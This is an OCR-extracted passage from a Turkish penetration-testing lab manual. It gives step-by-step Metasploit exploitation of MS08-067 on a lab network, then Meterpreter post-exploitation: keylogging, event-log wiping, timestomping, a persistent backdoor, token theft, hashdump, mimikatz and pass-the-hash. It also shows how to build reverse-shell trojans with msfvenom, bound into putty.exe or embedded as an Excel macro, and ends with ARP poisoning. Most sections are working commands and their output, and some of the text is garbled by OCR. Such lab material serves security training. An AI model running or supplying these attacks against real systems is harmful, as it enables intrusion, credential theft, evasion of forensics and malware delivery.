windows/meterpreter/bind_nonx_tcp

TCP Stager (No NX or Win7)
windows/meterpreter/bind_tcp

Stager (Windows x86)
windows/meterpreter/bind_tcp_rc4

TCP Stager (RC4 Stage Encryption)
windows/meterpreter/bind_tcp_uuid

TCP Stager with UUID Support (Windows x86)
windows/meterpreter/reverse_hop_http

Reverse Hop HTTP/HTTPS Stager
windows/meterpreter/reverse_http

Windows Reverse HTTP Stager (wininet)
windows/meterpreter/reverse_https

Windows Reverse HTTPS Stager (wininet)
windows/meterpreter/reverse_https_proxy

Reverse HTTPS Stager with Support for Custom Proxy
windows/meterpreter/reverse_ipv6_tcp

Reverse TCP Stager (IPv6)
windows/meterpreter/reverse_nonx_tcp

Reverse TCP Stager (No NX or Win7)
windows/meterpreter/reverse_ord_tcp

Reverse Ordinal TCP Stager (No NX or Win7)
windows/meterpreter/reverse_tcp

TCP Stager
windows/meterpreter/reverse_tcp_allports

Reverse All-Port TCP Stager
windows/meterpreter/reverse_tcp_dns

Reverse TCP Stager (DNS)
windows/meterpreter/reverse_tcp_rc4

Reverse TCP Stager (RC4 Stage Encryption)
windows/meterpreter/reverse_tcp_uuid

Reverse TCP Stager with UUID Support
windows/meterpreter/reverse_winhttp

Windows Reverse HTTP Stager (winhttp)

normal Windows Meterpreter (Reflective Injection), Bind

normal Windows Meterpreter (Reflective Injection), Bind

normal Windows Meterpreter (Reflective Injection), Bind TCP

normal Windows Meterpreter (Reflective Injection), Bind

normal Windows Meterpreter (Reflective Injection), Bind

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection), Reverse

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

normal Windows Meterpreter (Reflective Injection),

3.Adim

Set komutu ile kullamlmak istenen payload segilir.

Komut: set payload windows/meterpreter/reverse_tcp

Ciktisi:

payload => windows/meterpreter/reverse_tcp

set payload windows/meterpreter/reverse_tcp

4. Adim

Show options komutu ile exploiti kullanmak icin gereken parametrelere bakilir. Required alani 'yes'

olan alanlar girilmesi zorunlu alanlardir.




Komut: show options

Ciktis:

show options
Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description
RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name  Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: ", seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name

0 Automatic Targeting

5.Adim

Set komutu ile required alanlar doldurulur. Daha sonra exploit komutu verilir.
Komut:

set thost 192.168.170.149

set lhost 192.168.170.235

exploit

Ciktis:

msf exploit(ms08_067_netapi) > set rhost 192.168.170.149
rhost => 192.168.170.149

msf exploit(ms08_067_netapi) > set lhost 192.168.170.235
lhost => 192.168.170.235

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.170.235:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 3 - lang:Turkish

[*] Selected Target: Windows XP SP3 Turkish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (957487 bytes) to 192.168.170.149

[*] Meterpreter session 1 opened (192.168.170.235:4444 -> 192.168.170.149:1056) at 2016-02-04 15:10:50 +0200




meterpreter >

5.2: Metasploit veritabani baglantisi

Amac: Toplanan verileri diizenli bir sekilde saklamak

Lab Senaryosu: Postgresql veritabani olusturulur. Olusturulan veritaban1 metasploit'e baglanir.
Metasploit gerekli tablolar1 kendisi olusturur.

Kullamilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- msfconsole

Adimlar:

1. Adim

Postgresql servisi baglatilir.
Komut: service postgresql start
2.Adim

Postgres kullanicisina gegilir.
Komut: su postgres

Ciktis:

su postgres

postgres@kali:/root$

3.Adim
Bir veritabani kullanicisi olusturulur.

Komut: createuser msf user -P

Ciktis:

createuser msf_user -P
Enter password for new role:
Enter it again:

4.Adim
Bir veritabani olusturulur.

Komut: createdb --owner=msf user msf database



5.Adim
Olusturulan veritabani metasploit'e baglanir.

Komut: db_connect msf_user:parola@127.0.0.1:5432/msf_database
Ciktisi:

msf > db_connect msf user:parola@127.0.0.1:5432/msf_database
[*] Rebuilding the module cache in the background...

6.Adim
Veritabanin baglanti durumuna bakilir.
Komut: db_status

Ciktisi:

msf > db_status

[*] postgresql connected to msf_database



mailto:parola@127.0.0.1

5.3: Meterpreter Kullanimi

Amagc: Meterpreter payload: gonderilmis sistemle etkilesime gecmek
Kullanilan isletim sistemi:

- Kali Linux

- Windows XP

Kullamilan Araclar:

- msfconsole

Adimlar:

1.Adim

Hedef sisteme payload meterpreter olarak ayarlanarak exploit gonderilir
Komut: use exploit/windows/smb/ms08_067_netapi

set payload windows/meterpreter/reverse_tcp

set thost 192.168.170.149

set lhost 192.168.170.234

exploit

Ciktisi:

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set rhost 192.168.170.149

rhost => 192.168.170.149

msf exploit(ms08_067_netapi) > set lhost 192.168.170.234

lhost => 192.168.170.234

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.170.234:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 3 - lang:Turkish

[*] Selected Target: Windows XP SP3 Turkish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (957487 bytes) to 192.168.170.149

[*] Meterpreter session 1 opened (192.168.170.234:4444 -> 192.168.170.149:1039) at 2016-02-09 11:09:47 +0200
meterpreter >

2.Adim
Acilan oturum background komutu ile arkaplana atilabilir.
Komut: background

Cikusi:



meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms08_067_netapi) >

3.Adim
Acik oturumlar sessions komutu ile goriintiilenebilir.

Komut: sessions

Ciktis:

msf exploit(ms08_067_netapi) > sessions
Active sessions

1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ OEM 192.168.170.234:4444 -> 192.168.170.149:1039
(192.168.170.149)

4.Adim
Acik bir oturuma dénmek icin sessions -i <session id> komutu kullanilir.

Komut: sessions -i 1

Ciktisi:

msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >

5.Adim

Calisan processes'leri gérmek igin ps komutu kullanilir. Meterpreterin galistig1 processi gérmek icin
ise getpid kullanilir. Meterpreterin ¢alistig1 process'i degistirmek icin migrate kullanilir.

Komut: migrate 1732

Ciktisi:

meterpreter > getpid

Current pid: 1124

meterpreter > migrate 1732
[*] Migrating from 1124 to 1732...

[*] Migration completed successfully.
meterpreter > getpid

Current pid: 1732

6.Adim

pwd komutu ile calisma dizini goriintiilenebilir. cd komutu ile calisma dizini degistirilebilir. Is



komutu ile dosya ve dizinler listelenebilir. Mkdir komutu ile dizin olusturulabilir. Rm komutu ile
dosya silinebilir. Cat komutu ile bir dosyanin igerigi goriintiilenebilir. Bir dosyay1 diizenlemek icin
edit komutu kullanilabilir.

7.Adim
Search komutu ile sistemde arama yapilabilir. “.doc” uzantili dosyalar1 arama 6rnegi:
Komut: search -f *.doc

Ciktisi:

meterpreter > search -f *.doc

Found 4 results...
c:\Documents and Settings\Administrator\Templates\winword.doc (4608 bytes)
c:\Documents and Settings\Administrator\Templates\winword2.doc (1769 bytes)
c:\Documents and Settings\Default User\Templates\winword.doc (4608 bytes)
c:\Documents and Settings\Default User\Templates\winword2.doc (1769 bytes)

8.Adim

Upload komutu ile hedef sisteme dosya yiiklenebilir. Download komutu ile ise sistemden dosya
cekilebilir.

Komut: download kaynak hedef

Ciktisi:

meterpreter > download C:\\test.txt /root/Masaiistii
[*] downloading: C:\test.txt -> /root/MasaUstu/test.txt
[*] download : C:\test.ixt -> /root/MasaUstu/test.txt

9.Adim

Sistemin arp 6nbellegine bakmak icin arp komutu kullanilabilir. Sisteme yeni bir route eklemek
icin: route add <subnet> <netmask> <gateway>, sistemden route silmek icin: route delete <subnet>
<netmask> <gateway> komutlar1 kullanilabilir. Sistemin ip bilgisine bakmak i¢in ipconfig kumutu
kullanilabilir.

Komut: ipconfig

Ciktisi:

meterpreter > ipconfig

Interface 1

Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00

MTU 11520

IPv4 Address : 127.0.0.1

Interface 2




Name : AMD PCNET Ailesi PCI Ethernet Bagdastricisi - Paket Zamanlayicisi Mini Baglanti Noktasi
Hardware MAC : 11:2d:b3:31:b2:5f

MTU : 1500

IPv4 Address : 192.168.170.149

IPv4 Netmask : 255.255.255.0

Interface 65540

Name : Bluetooth Device (Personal Area Network)
Hardware MAC : 25:3e:12:13:2a:b1
MTU : 1500

10.Adim
Komut ¢alistirmak igin execute komutu kullanilabilir.
Komut: execute -f cmd.exe

Ciktsi:

meterpreter > execute -f cmd.exe

Process 2980 created.

11.Adim
Meterpreter'in hangi kullanic1 yetkileriyle calistigini gérmek icin getuid komutu kullanilabilir.
Komut: getuid

Ciktis:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

12.Adim
Bir process'i sonlandirmak igin kill <siire¢ id> komutu kullanilabilir.
Komut: kill <siirec id>

Ciktisi:

meterpreter > kill 2980
Killing: 2980

13.Adim
Hedef sistem hakkinda bilgi almak icin sysinfo komutu kullanilabilir.
Komut: sysinfo

Ciktisi:

‘meterpreter > sysinfo




Computer : OEM

(O] : Windows XP (Build 2600, Service Pack 3).
Architecture : x86

System Language : tr_TR

Domain : TESTLAB

Logged On Users : 2

Meterpreter  : x86/win32

14.Adim
Hedef sistemin komut satirina gecmek icin shell komutu kullanilabilir.
Komut: shell

Ciktisi:

meterpreter > shell

Process 1796 created.

Channel 1 created.

Microsoft Windows XP [Siriim 5.1.2600]
(C) Telif Hakki 1985-2001 Microsoft Corp.

15.Adim
Hedef sistemin kayitlarini temizlemek icin clearev komutu kullanilabilir.

Komut 6ncesi sistem kayitlari:

Dosya  Eylem arc
@ 2]
Olay Gérintuleyicisi (Yerel)
Uygulama
Pt Tor Tarh Zaman Kaynak Ketegon | Olay | User Bigsayar
Fifsistem Qhata 11022016 14:08:27  Nebogon Yok 5713 ok OEM
Thinerink Diagrostics QHata 1.02.2016  1383:27  W32Time ok 20 Yok CEM
Mtyan lote  13SZ  WezTime vok W ek cem
Qhata 1022016 115327 WS2Time Yok ) Yok CEM
Mtyan loe 11827 WazTme ok W ek oem
Qhata 11022016 1053:27  W32Time ok 20 Yok OEM
Auyan 11022016 1005327 W32Time vok 1 Vo GEM
QHata 11022016 1023127 W3ZTime ok 20 Yok CEM
Auyan 1022016 102327 W32Time vok 14 Vok. GEM
Deig 11022016 10:09:36  Servie Control Mansger Yok 7% Yok OEM
Deig 11022016 10:09:36  Service Control Mansger Yok 7% Yok OEM
Deig 11022016 10:09:36  Service Control Mansger Yok 7035 SYSTEM OEM
Dig 11022016 10:03:36  Service Control Manager Yok 7% Yok OEM
Deig 11022016 10:03:36  Service Control Manager Yok 7035 SYSTEM OEM
Deig 11022016 10:03:36  Service Control Manager Yok 7% Yok OEM
Deig 11022016 10003:36  Servics Control Manager Yok 7036 Yok oM
Deig 11022016 10003:36  Servics Control Manager Yok 7036 Yok oM
Deig 11022016 10003:36  Servics Control Manager Yok 7035 SYSTEM oM
Deig 11022016 1009:36  Service Control Manager Yok 7036 Yok OEM
Deig 11022016 1009:36  Service Control Manager Yok 7035 SYSTEM OEM
Big Lozzote 100936 ice tana 36 vk =
Deig 11022016 10:09:36 7035 SYSTEM CEM
Deig 1022016 10:09:36 7036 Yok CEM
Deigi 1022016 10:09:36 7035 SYSTEM CEM

Komut: clearev

Ciktis:

meterpreter > clearev

[*] Wiping 618 records from Application...
[*] Wiping 1936 records from System...
[*] Wiping 1 records from Security...

Komut sonrasi sistem kayitlari:

B Olay Goriintiileyicisi

Dosya  Eylem  Garomam  Vardm
« FRER 2

Olay Géruntileyicisi (Yerel)
Uygulama

irvenik, Tar Tarih Zaman Kaynak Kategori | Clay | User Bilgisayar

L ! Bu gerinimde gérnkilenecek o yok.
inPrint Diagnostics




16.Adim

Klayvede basilan tuslari dinlemek icin keyscan_start komutu kullanilabilir. Dinlenilen tuslar
gormek icin keyscan_dump komutu kullanilabilir. Dinleme islemini bitirmek icin ise keyscan_stop
komutu kullanilabilir.

Komut: keyscan_start
keyscan_dump
keyscan_stop

Ciktisi:

meterpreter > keyscan_start

Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

hotmail.com <Return> test@hotmail.com <Tab> 1234567 <Return>
meterpreter > keyscan_stop

Stopping the keystroke sniffer...

17.Adim
Hedef sistemden ekran goriintiisii almak i¢in screenshot komutu kullanilir.

Komut: screenshot

Ciktisi:

meterpreter > screenshot

Screenshot saved to: /root/nLhUGppd.jpeg

ooy

Google

(7 Basiat. |

18.Adim

Hedef sistemdeki kameralar1 goriintiilemek i¢cin webcam_list komutu kullanilabilir. webcam_snap -i
<aygit id> komutu ile istenilen kameradan goriintii alinabilir.

19.Adim

Getsystem komutu ile yetki yiikseltme islemi yapilabilir. Yetki yiikseltme islemi basariyla



gerceklesirse SYSTEM yetkilerine sahip olacaktir.
Komut: getsystem

Ciktisi:

meterpreter > getuid

Server username: OEM\Administrator

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

20.Adim

Dosyalarin zaman bilgisini giincellemek icin timestomp komutu kullanilabilir. -c parametresi ile
olusturulma zamani, -m parametresi ile degistirilme zamani, -a parametresi ile erisim zamani, -z
parametresi ile olusturulma, degistirilme, erisim zamanlar1 degistirilebilir.

Komut: timestomp c:\\test.txt z "01/01/2001 11:11:11"

Ciktisi:
test. txt Ozellikleri E]@
Genel | Giivenlik | Ozet
_=_J test bt

Drozya iri tdetin Belgesi

Birlikte ag: & Mot Defter

F.omur: A

Boput: 17 bayt (17 bayt]

Diskte boputu: 4,00 KE [4.096 bayt]

Olugturma: 01 Ocak 2011 Cumartesi, 11:11:11

Diedigtirme: 01 Ocak 20171 Cumartesi, 11:11:11

Errigirn: 11 Subat 2016 Bugiin, 16:22:47

Oznitelikler. [ Salt okunur [ Gizli
21.Adim

Vnc komutu ile vnc server enjeksiyonu yapilabilir. Modiilii dogrudan hafizada ¢alistirmak icin -i
parametresi kullanilabilir.

Komut: run vnc

Ciktis:

meterpreter > run vnc

[*] Creating a VNC reverse tcp stager: LHOST=192.168.170.234 LPORT=4545
[*] Running payload handler

[*] VNC stager executable 73802 bytes long




[*] Uploaded the VNC agent to C:\DOCUME~TADMINI~1\LOCALS~1\Temp\zIUnLRnCq.exe (must be deleted
manually)
[*] Executing the VNC agent with endpoint 192.168.170.234:4545...

TightVNC: oem

22.Adim

Hedef sistemde kalic1 bir arkakapi birakmak icin persistence modiilii kullanilabilir. -A parametresi
ile ters baglantiy1 bekleyecek bir handler acilir. -L. parametresi ile payloadin gonderilcegi yer
girilebilir. -S parametresi ile meterpreter ajaninin boot sirasinda system yetkileriyle calistirilmasi
saglanabilir. -i parametresiyle baglanti istekleri arasindaki siire girilebilir. Handler icin -p
parametresi ile local port ve -r parametresi ile local ip girilebilir.

Komut: run persistence -A -L c:\\ -S -i 10 -p 4444 -r 192.168.170.234
Ciktisi:

meterpreter > run persistence -A -L c:\\ -S -i 10 -p 4444 -r 192.168.170.234

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf5/logs/persistence/OEM_20160212.5507/OEM_20160212.5507.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.170.234 LPORT=4444

[*] Persistent agent script is 148431 bytes long

[+] Persistent Script written to c:\\BmHJRvsawnyb.vbs

[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp

[+] exploit/multi/handler started!

[*] Executing script c:\BmHJRvsawnyb.vbs

[+] Agent executed with PID 436

[*] Installing as service..

[*] Creating service vVVIpOIUTT

[*] Meterpreter session 2 opened (192.168.170.234:4444 -> 192.168.170.149:1066) at 2016-02-12 11:55:11 +0200

23.Adim

Hedef sistemdeki kullanilabilir token verilerini ¢calmak icin incognito modiilii kullanilabilir.
Incognito modiiliinii kullanmak i¢in “load incognito” komutu verilerek modiil bellege yiiklenir.



“list_tokens -u” komutu ile kullanici tokenlart listelenir. “list_tokens -g” komutu ile grup tokenlar1
listelenir. Token ¢almak icin “impersonate_token” komutu kullanilabilir. Eski kullanic1 yetkilerine
donmek icin ise “rev2self” komutu kullanilabilir.

Komut: load incognito

list_tokens -u

impersonate_token 'NT AUTHORITY\SYSTEM'
rev2self

Ciktisi:

meterpreter > load incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available

NT AUTHORITY\LOCAL SERVICE

NT AUTHORITY\ANETWORK SERVICE
NT AUTHORITY\SYSTEM
OEM\Administrator

Impersonation Tokens Available

NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token 'NT AUTHORITY\SYSTEM'
[+] Delegation token available

[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > rev2self

meterpreter > getuid

Server username: OEM\Administrator

24.Adim
SAM veritabanindaki hashleri goriintiilemek icin hashdump komutu kullanilabilir.
Komut: hashdump

Ciktis:

meterpreter > hashdump
Administrator:500:b42c04ccf43253bbaad3b435b51404ee:ebe666e1cfd412358a0977fef42¢c76dd:::
ASPNET:1004:51647a56eafc349a75b2f766c52996b5:a78b68d897de08fa6a5f003e5290eb75:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

25.Adim

Hedef sistemdeki oturum parolalarini agik olarak okumak icin mimikatz modiilii kullanilabilir.
Modiilii bellege yiiklemek icin “load mimikatz” komutu kullanilabilir. Oturum parolalarini agik
olarak gormek icin “mimikatz_command -f sekurlsa::searchPasswords” komutu kullanilabilir.



Komut: load mimikatz

mimikatz_command -f sekurlsa::searchPasswords

Ciktisi:

meterpreter > load mimikatz

Loading extension mimikatz...success.

meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; OEM ; coslat }




5.4: Calinan hash ile bagka bir sisteme sizma

Amag: Calinan hash ile aym hashe sahip bir parolasi olan sisteme sizmak

Lab Senaryosu: XP'ye sizip hashler alinir. Alinan local admin hash'i ile windows7'ye meterpreter
ajan1 gonderilir.

Kullanilan isletim sistemi:

- Kali Linux

- Windows XP

- Windows 7

Kullamilan Araclar:

- msfconsole

Adimlar:

1.Adim

Hedef sisteme payload meterpreter olarak ayarlanarak exploit gonderilir
Komut: use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp

set thost 192.168.170.149

set lhost 192.168.170.234

exploit

Ciktis:

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set rhost 192.168.170.149

rhost => 192.168.170.149

msf exploit(ms08_067_netapi) > set lhost 192.168.170.234

lhost => 192.168.170.234

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.170.234:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 3 - lang:Turkish

[*] Selected Target: Windows XP SP3 Turkish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (957487 bytes) to 192.168.170.149

[*] Meterpreter session 1 opened (192.168.170.234:4444 -> 192.168.170.149:1039) at 2016-02-09 11:09:47 +0200
meterpreter >

2.Adim

Hedef sistemdeki hashler alinir.



Komut: hashdump
Ciktis:

meterpreter > hashdump
Administrator:500:b42c04ccf43253bbaad3b435b51404ee:ebe666e1cfd412358a0977fef42¢c76dd:::
ASPNET:1004:51647a56eafc349a75b2f766c52996b5:a78b68d897de08fa6a5f003e5290eb75:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

3.Adim

Psexec exploiti kullanmak tiizere segilir. Gerekli parametreler doldurulur. SMBPass alanina calinan
hash yazilr.

Komut: use exploit/windows/smb/psexec
show options
msf exploit(psexec) > set rhost 192.168.170.150

msf exploit(psexec) > set smbpass
b42c04ccf43253bbaad3b435b51404ee:ebe666e1cfd412358a097 7fef42c76dd

msf exploit(psexec) > set smbuser administrator
exploit

Ciktis:

msf exploit(ms08_067_netapi) > use exploit/windows/smb/psexec
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing

SERVICE_DISPLAY_NAME no The service display name

SERVICE_NAME no The service name

SHARE ADMINS yes The share to connect to, can be an admin share (ADMINS$,CS$,...) or a
normal read/write folder share

SMBDomain . no The Windows domain to use for authentication

SMBPass no The password for the specified username

SMBUser no The username to authenticate as

msf exploit(psexec) > set rhost 192.168.170.150

rhost => 192.168.170.150

msf exploit(psexec) > set smbpass
b42c04ccf43253bbaad3b435b51404¢ee:ebe666e1cfd412358a0977fef42c76dd
smbpass => b42c04ccf43253bbaad3b435b51404ee:ebe666e1cfd412358a0977fef42c76dd
msf exploit(psexec) > set smbuser administrator

smbuser => administrator

msf exploit(psexec) > exploit




[*] Started reverse TCP handler on 192.168.170.234:4444

[*] Connecting to the server...

[*] Authenticating to 192.168.170.150:445 as user 'Administrator...

[*] Selecting PowerShell target

[*] 192.168.170.150:445 - Executing the payload...

[+] 192.168.170.150:445 - Service start timed out, OK if running a command or non-service executable...

[*] Sending stage (957487 bytes) to 192.168.170.150

[*] Meterpreter session 1 opened (192.168.170.234:4444 -> 192.168.170.150:50899) at 2016-02-12 16:15:55 +0200

meterpreter > sysinfo

Computer : MORDOR

oS : Windows 7 (Build 7600).
Architecture : x86

System Language : tr_TR

Domain : TESTLAB

Logged On Users : 2

Meterpreter : x86/win32




5.5: Auxilary Modilii Kullanimi
Amagc: ARP paketleri kullanarak yerel agdaki aktif sistemleri bulmak

Lab Senaryosu: Kullanilacak auxilary modiilii segilir. Gerekli parametreler girilir ve modiil
calistirlir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- msfconsole

Adimlar:

1.Adim

Auxilary modiilii secilir. Gerekli parametreler doldurulur ve bilgi toplama islemi baglatilir.
Komut: use auxiliary/scanner/discovery/arp_sweep
show options

set rhosts 192.168.170.0/24

exploit

Ciktis:

msf > use auxiliary/scanner/discovery/arp_sweep

msf auxiliary(arp_sweep) > show options

Module options (auxiliary/scanner/discovery/arp_sweep):

Name Current Setting Required Description

INTERFACE no The name of the interface

RHOSTS yes The target address range or CIDR identifier
SHOST no Source IP Address

SMAC no Source MAC Address

THREADS 1 yes The number of concurrent threads
TIMEOUT 5 yes The number of seconds to wait for new data

msf auxiliary(arp_sweep) > set rhosts 192.168.170.0/24
rhosts => 192.168.170.0/24
msf auxiliary(arp_sweep) > exploit

[*] 192.168.170.2 appears to be up (VMware, Inc.).
[*] 192.168.170.149 appears to be up (VMware, Inc.).
[*] 192.168.170.150 appears to be up (VMware, Inc.).
[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed




6 - Viriis, Worm ve Trojanlar
6.1: Exe trojan olusturma
Amac: Meterpreter yerlestirilmis bir exe ile hedef sistemi ele gecirmek.

Lab Senaryosu: Exe olugturulur. Hedef sisteme atilir. Exe hedef sistemde caligtirildiginda hedef
sisteme meterpreter ajani yerlestirilecektir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamlan Araclar:

- msfvenom

Adimlar:

1.Adim

Hedefe atilacak olan exe olusturulur.

Komut: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.170.234 LPORT=4444 -
e x86/shikata_ga_nai -i 3 -f exe > /root/Masalistii/virus.exe



6.2: Bir exe'yi bagka bir exe arkasina saklama

Amagc: Meterpreter yerlestirilmis bir exe'yi baska bir exe arkasina saklamak

Lab Senaryosu: Bir exe baska bir exe'nin arkasina saklanarak olusturulur. Hedef sisteme atilir. Exe
hedef sistemde ¢alistirildiginda hedef sisteme meterpreter ajan yerlestirilecektir.

Kullanilan isletim sistemi:

- Kali Linux

Kullamilan Araclar:

- msfvenom

Adimlar:

1.Adim

Hedefe atilacak olan exe olugturulur. -x parametresiyle 6n tarafta calisacak exe verilir.

Komut: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.170.234 LPORT=4444 -
e x86/shikata_ga_nai -i 3 -x /root/Downloads/putty.exe -f exe -k > /root/Masalistii/putty.exe



6.3: Excel belgesine meterpreter yerlestirme

Amag: Meterpreter yerlestirilmis bir excel belgesi ile hedef sistemi ele gecirmek.

Lab Senaryosu: Excel belgesi olusturulur. Hedef sisteme atilir. Excel belgesindeki makro hedef
sistemde calistirildiginda hedef sisteme meterpreter ajani yerlestirilecektir.

Kullanilan isletim sistemi:

- Kali Linux

- Windows7

Kullanilan Araclar:

- msfvenom

- Excel

Adimlar:

1.Adim

Bir vba meterpreter olusturulur.

Komut: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.170.234 LPORT=4444 -f
vba > /root/Masaiistii/excel.vba

2.Adim

Olusturulan vba windows7 iizerine alinir. Bos bir excel belgesi acilir. Gelistirici sekmesinden
Makrolar secilir. Makro adi girilerek yeni bir makro olusturulur. Makro kodu olarak
olusturdugumuz vba buraya yazilir. Excel belgesi makro icerebilen excel calisma kitab1 olarak
kaydedilir. Olusturulan excel belgesi hedef sisteme gonderilir. Hedef sistemde bu exceldeki makro
calistirlldiginda meterpreter ajanm sisteme yerlesmis olacaktir.



7 — Snifferlar

7.1: Switch'lere mac flood

Amagc: Switch cihazinin mac tablosunu doldurarak hub gibi davranmasini saglamak.

Lab Senaryosu: Switch'e ¢cok sayida rastgele olusturulmus kaynak ve hedef mac adresli paket
gonderilir.

Kullanilan isletim sistemi:
- Kali Linux

Kullamlan Araclar:

- macof

Adimlar:

1.Adim

Hedefe belirlenen kaynak ve hedef ip adreslerinden rastgele mac'ler ile istenilen sayida paket
gonderilir. Parametreler: -s kaynak ip, -d hedef ip, -n gonderilecek paket sayis1

Komut: macof -s 192.168.170.55 -d 192.168.170.2 -n 3



7.2: CAIN ile arp zehirleme

Amag: Hedef sistemin arp tablosunu zehirleyerek trafigi dinlemek

Lab Senaryosu: CAIN AND ABEL programi ile hedef sistemin arp tablosu zehirlenerek trafik
dinlenir. Parolalar elde edilir.

Kullanilan isletim sistemi:

- Windows 7

- Windows XP

Kullanilan Araclar:

- CAIN and ABEL

Adimlar:

1.Adim

Ustteki simgelerden start/stop sniffer'a basilir.
2.Adim

Sniffer tabinda bos bir yere tiklanip, scan mac adress secenegi secilir. Mac adreslerini 6grenmek
istegimiz subnet segilir.

E

ainy

3|d @ + Yy @ Ry mEEaOEE @7 0
[& Decoders | @ Network B8 Sniffer [of Cracker |&R Traceroute |WA CCDU [*4” Wireless [B Query |

IP address | MAC address | OUIfingerprint | Host name |B..[B.. |88 [Gr [mo[wa[m3]

1921681702 005056FF321D VMware, Inc.
192168170.235  000C29BDAYFY  VMware, Inc.

MAC Address Scanner (=]
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@ Al hosts in my subnet
 Range
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1% . 168 . 170 . 1
To
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[~ ARF Test (Broadeast 31-bi)
[~ ARP Test Broadeast 16-bi)
[~ ARF Test (Broadeast 8-bi)
I~ ARF Test (Group bif

[~ ARP Test (Multicast group 0)
I~ ARF Test [Multicast group 1)
[~ ARP Test (Multicast group 3)
[~ Al Tests

Cancel

| &) Hosts [@ APR [ Routing [F Passwords | 4 VolP |

Lost packets: 0%




3.Adim

Asagidaki arp tabina tiklanir. Bu tabtayken yukaridan mavi + butonuna basilir. Arp zehirlemesi
yapilmak istenilen ip'ler secilir.

Al SRS |+ o B R UM 20%E O 72| i
[& Decoders | @ Network € Sniffer [ Cracker [ Traceroute [H CCOU |47 Wireless |G Query |

@ APR Status | 1P address | MAC address | Packets -> | <- Packets | MAC address | IP address
& APR-Cert (1) &4 Poisoning 1921681702 005056FFE21D 20 a0 000C29BDAGF9 192168170235

o APR-55H-1 (0]

) APR-HTTRS (0) New ARP Poison Routing ==
L) APR-ProxyHTTPS (3)

+.. 8 APR-RDP (0) WARNING I

D) APR-FTPS () [4FF enables youta hisck IF taffic between the selected host on the leftlist and sl selected hosts on the right it in both

H é APR-POP3S (1) directions. If a selected host has routing capabiliies WaN traffic wil be intercepted as well Please note that since pour

i B apres 0 — ——— T | |machine has not the seme perfamnance of arouter vou sould cause DaS if va set APR betieen vour Defaul Gateway and

| - 3l cther hosts on pour LAN.

-8 APR-LDAPS (0]
o3 APR-SIPS (0]

IP address MAL Hostriame: IP address MAL ‘ Hostriame:
1921681702 O05056FFB210 192168170234 OO0OC23631101
182168170235  ODOC23BDASFS 1592166.170.254  O0S056E3A40F

192168.170.254  ODS056ES240F
192168170234 0O0OC23631101

1] 10

< i 3 K i b

Q = . | Configuration / Routed Packets |

= Hosts |65 2PR [ Routing [T4 Passwords [ Ve |

Lost packets: 0%

4.Adim

Password's tabindan tespit edilen parolalar goriintiilenebilir.

‘B
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G NNTP (0)
DCE/RPC (0)
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R 1cq )
65 IKE-PSK ()
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= sump )
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> GRE/PRP (0)
< PPPoE (0)
-I¥) SAP Diag (0)




7.3: Ettercap ile arp zehirleme

Amag: Hedef sistemin arp tablosunu zehirleyerek trafigi dinlemek

